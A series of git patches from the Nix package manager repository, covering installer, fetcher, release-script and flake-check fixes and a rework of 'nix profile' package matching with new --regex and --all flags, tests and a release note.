1dbb93bf9..ad3ee8881 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -58,31 +58,6 @@ readonly EXTRACTED_NIX_PATH="$(dirname "$0")" readonly ROOT_HOME=~root -readonly PROXY_ENVIRONMENT_VARIABLES=( - http_proxy - https_proxy - ftp_proxy - no_proxy - HTTP_PROXY - HTTPS_PROXY - FTP_PROXY - NO_PROXY -) - -SUDO_EXTRA_ENVIRONMENT_VARIABLES=() - -setup_sudo_extra_environment_variables() { - local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} - for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do - if [ "x${!variable:-}" != "x" ]; then - SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" - i=$((i + 1)) - fi - done -} - -setup_sudo_extra_environment_variables - if [ -t 0 ] && [ -z "${NIX_INSTALLER_YES:-}" ]; then readonly IS_HEADLESS='no' else @@ -386,7 +361,7 @@ _sudo() { if is_root; then env "$@" else - sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" + sudo "$@" fi } From 0282499e183c3a7aa4aa263b242f4ddcb401220f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 7 Mar 2024 13:28:52 +0100 Subject: [PATCH 0198/1251] PathInputScheme::getFingerprint(): Don't barf on relative paths This wasn't caught by CI because #10149 and #10152 pass individually... It doesn't happen on lazy-trees either because we never try to fetch relative path flakes (#10089). --- src/libfetchers/path.cc | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index f1910a5dc..0af1bad73 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -89,6 +89,15 @@ struct PathInputScheme : InputScheme writeFile((CanonPath(getAbsPath(input)) / path).abs(), contents); } + std::optional isRelative(const Input & input) const + { + auto path = getStrAttr(input.attrs, "path"); + if (hasPrefix(path, "/")) + return std::nullopt; + else + return path; + } + bool isLocked(const Input & input) const override { return (bool) input.getNarHash(); @@ -151,6 +160,9 @@ struct PathInputScheme : InputScheme std::optional getFingerprint(ref store, const Input & input) const override { + if (isRelative(input)) + return std::nullopt; + /* If this path is in the Nix store, use the hash of the store object and the subpath. */ auto path = getAbsPath(input); From a3163b9eabb952b4aa96e376dea95ebcca97b31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 14:52:40 +0100 Subject: [PATCH 0199/1251] Fix the outputs moving on macOS --- src/libstore/build/local-derivation-goal.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 6e8e1fa18..a9b6a8dbf 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2547,8 +2547,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // Replace the output by a fresh copy of itself to make sure // that there's no stale file descriptor pointing to it Path tmpOutput = actualPath + ".tmp"; - renameFile(actualPath, tmpOutput); - copyFile(tmpOutput, actualPath, true); + copyFile(actualPath, tmpOutput, true); + renameFile(tmpOutput, actualPath); auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, From 091f2328962fccfd71602b0b7c072c8d08291c86 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 7 Mar 2024 15:18:03 +0100 Subject: [PATCH 0200/1251] maintainers/upload-release.pl: Handle 2.3 and 2.18 branches --- maintainers/upload-release.pl | 69 ++++++++++++++++++++++++----------- 1 file changed, 47 insertions(+), 22 deletions(-) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 4e2c379f0..f2830a3af 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -11,6 +11,8 @@ use JSON::PP; use LWP::UserAgent; use Net::Amazon::S3; +delete $ENV{'shell'}; # shut up a LWP::UserAgent.pm warning + my $evalId = $ARGV[0] or die "Usage: $0 EVAL-ID\n"; my $releasesBucketName = "nix-releases"; @@ -36,9 +38,9 @@ sub fetch { my $evalUrl = "https://hydra.nixos.org/eval/$evalId"; my $evalInfo = decode_json(fetch($evalUrl, 'application/json')); #print Dumper($evalInfo); -my $flakeUrl = $evalInfo->{flake} or die; -my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die); -my $nixRev = $flakeInfo->{revision} or die; +my $flakeUrl = $evalInfo->{flake}; +my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die) if $flakeUrl; +my $nixRev = ($flakeInfo ? $flakeInfo->{revision} : $evalInfo->{jobsetevalinputs}->{nix}->{revision}) or die; my $buildInfo = decode_json(fetch("$evalUrl/job/build.x86_64-linux", 'application/json')); #print Dumper($buildInfo); @@ -83,12 +85,19 @@ my $channelsBucket = $s3_us->bucket($channelsBucketName) or die; sub getStorePath { my ($jobName, $output) = @_; my $buildInfo = decode_json(fetch("$evalUrl/job/$jobName", 'application/json')); - return $buildInfo->{buildoutputs}->{$output or "out"}->{path} or die "cannot get store path for '$jobName'"; + return $buildInfo->{buildoutputs}->{$output or "out"}->{path} // die "cannot get store path for '$jobName'"; } sub copyManual { - my $manual = getStorePath("build.x86_64-linux", "doc"); - print "$manual\n"; + my $manual; + eval { + $manual = getStorePath("build.x86_64-linux", "doc"); + }; + if ($@) { + warn "$@"; + return; + } + print "Manual: $manual\n"; my $manualNar = "$tmpDir/$releaseName-manual.nar.xz"; print "$manualNar\n"; @@ -154,19 +163,33 @@ downloadFile("binaryTarball.x86_64-linux", "1"); downloadFile("binaryTarball.aarch64-linux", "1"); downloadFile("binaryTarball.x86_64-darwin", "1"); downloadFile("binaryTarball.aarch64-darwin", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv6l-unknown-linux-gnueabihf", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv6l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; downloadFile("installerScript", "1"); # Upload docker images to dockerhub. my $dockerManifest = ""; my $dockerManifestLatest = ""; +my $haveDocker = 0; for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { my $system = $platforms->[0]; my $dockerPlatform = $platforms->[1]; my $fn = "nix-$version-docker-image-$dockerPlatform.tar.gz"; - downloadFile("dockerImage.$system", "1", $fn); + eval { + downloadFile("dockerImage.$system", "1", $fn); + }; + if ($@) { + warn "$@" if $@; + next; + } + $haveDocker = 1; print STDERR "loading docker image for $dockerPlatform...\n"; system("docker load -i $tmpDir/$fn") == 0 or die; @@ -194,21 +217,23 @@ for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { $dockerManifestLatest .= " --amend $latestTag" } -print STDERR "creating multi-platform docker manifest...\n"; -system("docker manifest rm nixos/nix:$version"); -system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; -if ($isLatest) { - print STDERR "creating latest multi-platform docker manifest...\n"; - system("docker manifest rm nixos/nix:latest"); - system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; -} +if ($haveDocker) { + print STDERR "creating multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:$version"); + system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; + if ($isLatest) { + print STDERR "creating latest multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:latest"); + system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; + } -print STDERR "pushing multi-platform docker manifest...\n"; -system("docker manifest push nixos/nix:$version") == 0 or die; + print STDERR "pushing multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:$version") == 0 or die; -if ($isLatest) { - print STDERR "pushing latest multi-platform docker manifest...\n"; - system("docker manifest push nixos/nix:latest") == 0 or die; + if ($isLatest) { + print STDERR "pushing latest multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:latest") == 0 or die; + } } # Upload nix-fallback-paths.nix. From 4b4c71e2391802ed98e0274b631cba1a4cfa66f9 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Thu, 7 Mar 2024 08:15:25 -0800 Subject: [PATCH 0201/1251] Restore "checking Hydra job" message in `nix flake check` Mistakenly removed in #8893, thanks @lf- for catching this! https://github.com/NixOS/nix/commit/9404ce36e4edd1df12892089bdab1ceb7d4d7a97#r139485316 --- src/nix/flake.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 1822b990f..a846f6371 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -482,6 +482,8 @@ struct CmdFlakeCheck : FlakeCommand checkHydraJobs = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking Hydra job '%s'", attrPath)); state->forceAttrs(v, pos, ""); if (state->isDerivation(v)) From 741a6bfad53d1efbc34fb148c8ca4b9dc01691d4 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 22:27:16 +0100 Subject: [PATCH 0202/1251] profile: allow different types of matchers --- src/nix/profile.cc | 164 ++++++++++++++++++++++++--------------------- 1 file changed, 89 insertions(+), 75 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index fc669d5ed..41dcccc50 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -453,55 +453,86 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile } }; -class MixProfileElementMatchers : virtual Args +enum MatcherType { - std::vector _matchers; + Regex, + StorePath, +}; + +struct Matcher +{ + MatcherType type; + std::string title; + std::function matches; +}; + +Matcher createRegexMatcher(const std::string & pattern) +{ + std::regex reg(pattern, std::regex::extended | std::regex::icase); + return { + .type = MatcherType::Regex, + .title = fmt("Regex '%s'", pattern), + .matches = [reg](const std::string &name, const ProfileElement & element) { + return std::regex_match(element.identifier(), reg); + }, + }; +} + +Matcher createStorePathMatcher(const nix::StorePath & storePath) +{ + return { + .type = MatcherType::StorePath, + .title = fmt("Store path '%s'", storePath.to_string()), + .matches = [storePath](const std::string &name, const ProfileElement & element) { + return element.storePaths.count(storePath); + } + }; +} + +class MixProfileElementMatchers : virtual Args, virtual StoreCommand +{ + std::vector _matchers; public: MixProfileElementMatchers() { - expectArgs("elements", &_matchers); + expectArgs(ExpectedArg { + .label = "elements", + .optional = true, + .handler = {[this](std::vector args) { + for (auto & arg : args) { + if (auto n = string2Int(arg)) { + throw Error("'nix profile' no longer supports indices ('%d')", *n); + } else if (getStore()->isStorePath(arg)) { + _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); + } else { + _matchers.push_back(createRegexMatcher(arg)); + } + } + }} + }); } - struct RegexPattern { - std::string pattern; - std::regex reg; - }; - typedef std::variant Matcher; - - std::vector getMatchers(ref store) - { - std::vector res; - - for (auto & s : _matchers) { - if (auto n = string2Int(s)) - throw Error("'nix profile' no longer supports indices ('%d')", *n); - else if (store->isStorePath(s)) - res.push_back(s); - else - res.push_back(RegexPattern{s,std::regex(s, std::regex::extended | std::regex::icase)}); + std::set getMatchingElementNames(ProfileManifest & manifest) { + if (_matchers.empty()) { + throw UsageError("No packages specified."); } - return res; - } - - bool matches( - const Store & store, - const std::string & name, - const ProfileElement & element, - const std::vector & matchers) - { - for (auto & matcher : matchers) { - if (auto path = std::get_if(&matcher)) { - if (element.storePaths.count(store.parseStorePath(*path))) return true; - } else if (auto regex = std::get_if(&matcher)) { - if (std::regex_match(name, regex->reg)) - return true; + std::set result; + for (auto & matcher : _matchers) { + bool foundMatch = false; + for (auto & [name, element] : manifest.elements) { + if (matcher.matches(name, element)) { + result.insert(name); + foundMatch = true; + } + } + if (!foundMatch) { + warn("%s does not match any packages in the profile.", matcher.title); } } - - return false; + return result; } }; @@ -523,16 +554,19 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem { ProfileManifest oldManifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); + ProfileManifest newManifest = oldManifest; - ProfileManifest newManifest; + auto matchingElementNames = getMatchingElementNames(oldManifest); - for (auto & [name, element] : oldManifest.elements) { - if (!matches(*store, name, element, matchers)) { - newManifest.elements.insert_or_assign(name, std::move(element)); - } else { - notice("removing '%s'", element.identifier()); - } + if (matchingElementNames.empty()) { + warn ("No packages to remove. Use 'nix profile list' to see the current profile."); + return; + } + + for (auto & name : matchingElementNames) { + auto & element = oldManifest.elements[name]; + notice("removing '%s'", element.identifier()); + newManifest.elements.erase(name); } auto removedCount = oldManifest.elements.size() - newManifest.elements.size(); @@ -540,16 +574,6 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem removedCount, newManifest.elements.size()); - if (removedCount == 0) { - for (auto matcher: matchers) { - if (const Path * path = std::get_if(&matcher)) { - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)) { - warn("'%s' does not match any packages", regex->pattern); - } - } - warn ("Use 'nix profile list' to see the current profile."); - } updateProfile(newManifest.build(store)); } }; @@ -572,20 +596,20 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf { ProfileManifest manifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); - Installables installables; std::vector elems; - auto matchedCount = 0; auto upgradedCount = 0; - for (auto & [name, element] : manifest.elements) { - if (!matches(*store, name, element, matchers)) { - continue; - } + auto matchingElementNames = getMatchingElementNames(manifest); - matchedCount++; + if (matchingElementNames.empty()) { + warn("No packages to upgrade. Use 'nix profile list' to see the current profile."); + return; + } + + for (auto & name : matchingElementNames) { + auto & element = manifest.elements[name]; if (!element.source) { warn( @@ -641,18 +665,8 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf } if (upgradedCount == 0) { - if (matchedCount == 0) { - for (auto & matcher : matchers) { - if (const Path * path = std::get_if(&matcher)) { - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)) { - warn("'%s' does not match any packages", regex->pattern); - } - } - } else { - warn("Found some packages but none of them could be upgraded."); - } - warn ("Use 'nix profile list' to see the current profile."); + warn("Found some packages but none of them could be upgraded."); + return; } auto builtPaths = builtPathsPerInstallable( From d6f5da51d3ae11c6771c68ebb65e7a560af167b5 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 22:33:37 +0100 Subject: [PATCH 0203/1251] profile: match on package name instead of regex --- src/nix/profile.cc | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 41dcccc50..d79f1158b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -457,6 +457,7 @@ enum MatcherType { Regex, StorePath, + Name, }; struct Matcher @@ -489,6 +490,16 @@ Matcher createStorePathMatcher(const nix::StorePath & storePath) }; } +Matcher createNameMatcher(const std::string & name) { + return { + .type = MatcherType::Name, + .title = fmt("Package name '%s'", name), + .matches = [name](const std::string &elementName, const ProfileElement & element) { + return elementName == name; + } + }; +} + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { std::vector _matchers; @@ -507,7 +518,7 @@ public: } else if (getStore()->isStorePath(arg)) { _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); } else { - _matchers.push_back(createRegexMatcher(arg)); + _matchers.push_back(createNameMatcher(arg)); } } }} From 87741dbd2118b0c90db6a37525b36c7bc93617ce Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 20:33:59 +0100 Subject: [PATCH 0204/1251] profile: add --regex option to match packages --- src/nix/profile-remove.md | 2 +- src/nix/profile-upgrade.md | 2 +- src/nix/profile.cc | 10 +++++++++- tests/functional/nix-profile.sh | 10 ++++++++++ 4 files changed, 21 insertions(+), 3 deletions(-) diff --git a/src/nix/profile-remove.md b/src/nix/profile-remove.md index 1f6532250..e2dea3389 100644 --- a/src/nix/profile-remove.md +++ b/src/nix/profile-remove.md @@ -11,7 +11,7 @@ R""( * Remove all packages: ```console - # nix profile remove '.*' + # nix profile remove --regex '.*' ``` * Remove a package by store path: diff --git a/src/nix/profile-upgrade.md b/src/nix/profile-upgrade.md index 432b8fa94..e04ad109e 100644 --- a/src/nix/profile-upgrade.md +++ b/src/nix/profile-upgrade.md @@ -6,7 +6,7 @@ R""( reference: ```console - # nix profile upgrade '.*' + # nix profile upgrade --regex '.*' ``` * Upgrade a specific package by name: diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d79f1158b..c08d02e70 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -508,7 +508,15 @@ public: MixProfileElementMatchers() { - expectArgs(ExpectedArg { + addFlag({ + .longName = "regex", + .description = "A regular expression to match one or more packages in the profile.", + .labels = {"pattern"}, + .handler = {[this](std::string arg) { + _matchers.push_back(createRegexMatcher(arg)); + }}, + }); + expectArgs({ .label = "elements", .optional = true, .handler = {[this](std::vector args) { diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 88b713d53..274b72de2 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -71,6 +71,16 @@ nix profile upgrade flake1 [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello NixOS" ]] nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 2.0, 2.0-man" +# Test upgrading package using regular expression. +printf 2.1 > $flake1Dir/version +nix profile upgrade --regex '.*' +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] +nix profile rollback + +# Test removing all packages using regular expression. +nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages" +nix profile rollback + # Test 'history', 'diff-closures'. nix profile diff-closures From 9fac62435c5f05783456512b09e3f207a9d62004 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 23:35:10 +0100 Subject: [PATCH 0205/1251] tests/functional: add assertStderr function Currently there isn't a convenient way to check for multiline output. In addition, these outputs will easily change and having a diff between the expected an the actual output upon failures is convenient. --- tests/functional/common/vars-and-functions.sh.in | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh.in index 8fef29f97..3975986c0 100644 --- a/tests/functional/common/vars-and-functions.sh.in +++ b/tests/functional/common/vars-and-functions.sh.in @@ -216,6 +216,17 @@ expectStderr() { return 0 } +# Run a command and check whether the stderr matches stdin. +# Show a diff when output does not match. +# Usage: +# +# assertStderr nix profile remove nothing << EOF +# error: This error is expected +# EOF +assertStderr() { + diff -u /dev/stdin <($@ 2>/dev/null 2>&1) +} + needLocalStore() { if [[ "$NIX_REMOTE" == "daemon" ]]; then skipTest "Can’t run through the daemon ($1)" From fb391ebc77cc02d74eae4b4826137ed0d79b0455 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 23:39:45 +0100 Subject: [PATCH 0206/1251] profile: add tests for not matching any packages --- tests/functional/nix-profile.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 274b72de2..67c8bcc98 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -77,6 +77,18 @@ nix profile upgrade --regex '.*' [[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] nix profile rollback +# Test matching no packages using literal package name. +assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF +warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + +# Test matching no packages using regular expression. +assertStderr nix --offline profile upgrade --regex '.*unknown_package.*' << EOF +warning: Regex '.*unknown_package.*' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + # Test removing all packages using regular expression. nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages" nix profile rollback @@ -85,6 +97,10 @@ nix profile rollback nix profile diff-closures # Test rollback. +printf World > $flake1Dir/who +nix profile upgrade flake1 +printf NixOS > $flake1Dir/who +nix profile upgrade flake1 nix profile rollback [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] From 7a4d5e89d33de9d2c656a3d5b4fd44d9cf2cb05d Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 6 Mar 2024 22:04:53 +0100 Subject: [PATCH 0207/1251] profile: add --all option to match any package --- src/nix/profile-remove.md | 9 ++++++++- src/nix/profile-upgrade.md | 8 +++++++- src/nix/profile.cc | 16 ++++++++++++++++ tests/functional/nix-profile.sh | 7 +++++++ 4 files changed, 38 insertions(+), 2 deletions(-) diff --git a/src/nix/profile-remove.md b/src/nix/profile-remove.md index e2dea3389..e7e5e0dfb 100644 --- a/src/nix/profile-remove.md +++ b/src/nix/profile-remove.md @@ -11,9 +11,16 @@ R""( * Remove all packages: ```console - # nix profile remove --regex '.*' + # nix profile remove --all ``` +* Remove packages by regular expression: + + ```console + # nix profile remove --regex '.*vim.*' + ``` + + * Remove a package by store path: ```console diff --git a/src/nix/profile-upgrade.md b/src/nix/profile-upgrade.md index e04ad109e..da7a668db 100644 --- a/src/nix/profile-upgrade.md +++ b/src/nix/profile-upgrade.md @@ -6,7 +6,7 @@ R""( reference: ```console - # nix profile upgrade --regex '.*' + # nix profile upgrade --all ``` * Upgrade a specific package by name: @@ -15,6 +15,12 @@ R""( # nix profile upgrade hello ``` +* Upgrade all packages that include 'vim' in their name: + + ```console + # nix profile upgrade --regex '.*vim.*' + ``` + # Description This command upgrades a previously installed package in a Nix profile, diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c08d02e70..701c5cb29 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -458,6 +458,7 @@ enum MatcherType Regex, StorePath, Name, + All, }; struct Matcher @@ -500,6 +501,14 @@ Matcher createNameMatcher(const std::string & name) { }; } +Matcher all = { + .type = MatcherType::All, + .title = "--all", + .matches = [](const std::string &name, const ProfileElement & element) { + return true; + } +}; + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { std::vector _matchers; @@ -508,6 +517,13 @@ public: MixProfileElementMatchers() { + addFlag({ + .longName = "all", + .description = "Match all packages in the profile.", + .handler = {[this]() { + _matchers.push_back(all); + }}, + }); addFlag({ .longName = "regex", .description = "A regular expression to match one or more packages in the profile.", diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 67c8bcc98..b8513ac02 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -77,6 +77,13 @@ nix profile upgrade --regex '.*' [[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] nix profile rollback +# Test upgrading all packages +printf 2.2 > $flake1Dir/version +nix profile upgrade --all +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.2/bin/hello ]] +nix profile rollback +printf 1.0 > $flake1Dir/version + # Test matching no packages using literal package name. assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. From 91f068c19309091b85f18fb5fc10ab3644642d50 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 6 Mar 2024 22:46:47 +0100 Subject: [PATCH 0208/1251] profile: make --all exclusive --- src/nix/profile.cc | 9 +++++++++ tests/functional/nix-profile.sh | 6 ++++++ 2 files changed, 15 insertions(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 701c5cb29..d9455b4ee 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -554,6 +554,15 @@ public: throw UsageError("No packages specified."); } + if (std::find_if(_matchers.begin(), _matchers.end(), [](const Matcher & m) { return m.type == MatcherType::All; }) != _matchers.end() && _matchers.size() > 1) { + throw UsageError("--all cannot be used with package names or regular expressions."); + } + + if (manifest.elements.empty()) { + warn("There are no packages in the profile."); + return {}; + } + std::set result; for (auto & matcher : _matchers) { bool foundMatch = false; diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index b8513ac02..58fdce411 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -84,6 +84,12 @@ nix profile upgrade --all nix profile rollback printf 1.0 > $flake1Dir/version +# Test --all exclusivity. +assertStderr nix --offline profile upgrade --all foo << EOF +error: --all cannot be used with package names or regular expressions. +Try 'nix --help' for more information. +EOF + # Test matching no packages using literal package name. assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. From 4741d3e308a716e5637af357237e1f44c7d598b6 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 00:21:40 +0100 Subject: [PATCH 0209/1251] add release note --- doc/manual/rl-next/profile-regex-all.md | 35 +++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 doc/manual/rl-next/profile-regex-all.md diff --git a/doc/manual/rl-next/profile-regex-all.md b/doc/manual/rl-next/profile-regex-all.md new file mode 100644 index 000000000..e3e6849cc --- /dev/null +++ b/doc/manual/rl-next/profile-regex-all.md @@ -0,0 +1,35 @@ +--- +synopsis: Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` +prs: 10166 +--- + +Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. +For instance: + +``` +nix profile remove '.*vim.*' +``` + +This would remove all packages that contain `vim` in their name. + +In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. + +To avoid unintended behavior, the arguments are now only matching exact names. + +Matching using regular expressions is still possible by using the new `--regex` flag: + +``` +nix profile remove --regex '.*vim.*' +``` + +One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: + +``` +nix profile upgrade '.*' +``` + +With the introduction of the `--all` flag, this now becomes more straightforward: + +``` +nix profile upgrade --all +``` From 4354b37fc4d83002027af80cce037e2ee89f552c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 8 Mar 2024 08:48:53 +0100 Subject: [PATCH 0210/1251] Add more logs to the evalNixpkgs test Make it possible to understand a mimimum what's going on in case of a failure --- flake.nix | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/flake.nix b/flake.nix index 42aaace67..80a55d40d 100644 --- a/flake.nix +++ b/flake.nix @@ -299,8 +299,11 @@ '' type -p nix-env # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. - time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + ( + set -x + time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages + [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + ) mkdir $out ''; From 201369dceb49da19af42e29b1dc11586da4a26e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 8 Mar 2024 08:50:27 +0100 Subject: [PATCH 0211/1251] tests.evalNixpkgs: Update the golden hash `nix-env -qaP`'s output has changed a bit because of https://github.com/NixOS/nix/issues/10132. Although that's a bit annoying, it isn't nearly as problematic as the evaluation changes that this test is supposed to catch. So it's find to just update the hash for the time being and fix the issue later (properly fixing the issue will very likely change the hash any way). --- flake.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 80a55d40d..e9d8395ec 100644 --- a/flake.nix +++ b/flake.nix @@ -302,7 +302,7 @@ ( set -x time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] ) mkdir $out ''; From 520a1df208e8292ce0dcb8cb12f454413ff88b0e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 10:40:53 +0100 Subject: [PATCH 0212/1251] flake: Disable the perl bindings on i686-linux Some perl dependencies are failing: https://hydra.nixos.org/build/252347639/nixlog/1 Since the support is only best-effort there, disable the perl bindings --- flake.nix | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 42aaace67..15100f772 100644 --- a/flake.nix +++ b/flake.nix @@ -341,7 +341,6 @@ checks = forAllSystems (system: { binaryTarball = self.hydraJobs.binaryTarball.${system}; - perlBindings = self.hydraJobs.perlBindings.${system}; installTests = self.hydraJobs.installTests.${system}; nixpkgsLibTests = self.hydraJobs.tests.nixpkgsLibTests.${system}; rl-next = @@ -351,6 +350,11 @@ ''; } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) { dockerImage = self.hydraJobs.dockerImage.${system}; + } // (lib.optionalAttrs (!(builtins.elem system 